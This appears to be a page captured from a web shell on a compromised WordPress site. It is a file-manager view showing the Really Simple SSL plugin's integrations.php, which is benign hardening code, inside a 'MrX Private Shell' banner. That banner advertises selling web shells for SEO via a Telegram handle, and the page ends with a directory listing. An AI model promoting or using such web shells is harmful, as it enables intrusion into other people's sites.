����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
defined( 'ABSPATH' ) or die();
global $rsssl_integrations_list;
$rsssl_integrations_list = apply_filters( 'rsssl_integrations', array(
'user-registration' => array(
'label' => 'User registration',
'folder' => 'wordpress',
'impact' => 'medium',
'risk' => 'medium',
'option_id' => 'disable_anyone_can_register',
),
'file-editing' => array(
'label' => __('File editing', 'really-simple-ssl'),
'folder' => 'wordpress',
'impact' => 'medium',
'risk' => 'low',
'option_id' => 'disable_file_editing',
),
'hide-wp-version' => array(
'label' => __('Hide WP version','really-simple-ssl'),
'folder' => 'wordpress',
'impact' => 'low',
'risk' => 'low',
'option_id' => 'hide_wordpress_version',
),
'user-enumeration' => array(
'label' => __('User Enumeration','really-simple-ssl'),
'folder' => 'wordpress',
'impact' => 'low',
'risk' => 'medium',
'option_id' => 'disable_user_enumeration',
),
'block-code-execution-uploads' => array(
'label' => __('Block code execution in uploads directory','really-simple-ssl'),
'folder' => 'wordpress',
'impact' => 'medium',
'risk' => 'low',
'option_id' => 'block_code_execution_uploads',
),
'prevent-login-info-leakage' => array(
'label' => __('Prevent login error leakage','really-simple-ssl'),
'folder' => 'wordpress',
'impact' => 'low',
'risk' => 'high',
'option_id' => 'disable_login_feedback',
),
'disable-indexing' => array(
'label' => __('Disable directory indexing', 'really-simple-ssl'),
'folder' => 'server',
'impact' => 'low',
'risk' => 'medium',
'option_id' => 'disable_indexing',
'has_deactivation' => true,
),
'rename-admin-user' => array(
'label' => __('Do not allow users with admin username', 'really-simple-ssl'),
'folder' => 'wordpress',
'impact' => 'high',
'risk' => 'high',
'option_id' => 'rename_admin_user',
),
'display-name-is-login-name' => array(
'label' => __('Block user registration when login name equals display name', 'really-simple-ssl'),
'folder' => 'wordpress',
'impact' => 'low',
'risk' => 'medium',
'option_id' => 'block_display_is_login',
),
'disable-xmlrpc' => array(
'label' => 'XMLRPC',
'folder' => 'wordpress',
'impact' => 'medium',
'risk' => 'low',
'option_id' => 'disable_xmlrpc',
'always_include' => false,
),
) );
/**
* Check if this plugin's integration is enabled
* @param string $plugin
* @param array $details
*
* @return bool
*/
function rsssl_is_integration_enabled( $plugin, $details ) {
global $rsssl_integrations_list;
if ( ! array_key_exists( $plugin, $rsssl_integrations_list ) ) {
return false;
}
if ( $details['always_include'] ) {
return true;
}
//if an integration was just enabled, we keep it enabled until it removes itself from the list.
//only for admin users
if ( rsssl_is_in_deactivation_list($plugin) ) {
return true;
}
$field_id = isset($details['option_id']) ? $details['option_id'] : false;
if ($field_id && rsssl_get_option($field_id) ) {
return true;
}
return false;
}
/**
* code loaded without privileges to allow integrations between plugins and services, when enabled.
*/
function rsssl_integrations() {
global $rsssl_integrations_list;
foreach ( $rsssl_integrations_list as $plugin => $details ) {
$details = wp_parse_args($details,
[
'option_id' => false,
'always_include'=>false,
'folder' => false,
]
);
if ( rsssl_is_integration_enabled( $plugin, $details ) ) {
$path = apply_filters('rsssl_integrations_path', rsssl_path, $plugin);
$file = $path . 'security/' . $details['folder'] . "/" . $plugin . '.php';
if ( ! file_exists( $file ) ) {
continue;
}
require_once( $file );
$risk = $details['risk'];
$impact = $details['impact'];
// Apply fix automatically on high risk, low impact
//check if already executed
if ( $risk === 'high' && $impact === 'low' && rsssl_user_can_manage() ) {
$fix = isset($details['actions']['fix']) ? $details['actions']['fix']: false;
// rsssl_do_fix($fix);
}
}
}
}
add_action( 'plugins_loaded', 'rsssl_integrations', 10 );
//also run when fields are saved.
add_action( 'rsssl_after_saved_fields', 'rsssl_integrations', 20 );
/**
* Check if a plugin is on the deactivation list
*
* @param string $plugin
*
* @return bool
*/
function rsssl_is_in_deactivation_list( string $plugin ): bool {
if ( !is_admin() || !is_user_logged_in() ) {
return false;
}
if ( !is_array(get_option('rsssl_deactivate_list',[]))){
delete_option('rsssl_deactivate_list');
}
return in_array($plugin, get_option('rsssl_deactivate_list',[]) );
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| server | Folder | 0755 |
|
|
| tests | Folder | 0755 |
|
|
| wordpress | Folder | 0755 |
|
|
| cron.php | File | 2.24 KB | 0644 |
|
| deactivate-integration.php | File | 1.57 KB | 0644 |
|
| firewall-manager.php | File | 6.19 KB | 0644 |
|
| functions.php | File | 13.71 KB | 0644 |
|
| index.php | File | 31 B | 0644 |
|
| integrations.php | File | 5.36 KB | 0644 |
|
| notices.php | File | 9.02 KB | 0644 |
|
| security.php | File | 1.43 KB | 0644 |
|
| sync-settings.php | File | 2.62 KB | 0644 |
|
| tests.php | File | 12.13 KB | 0644 |
|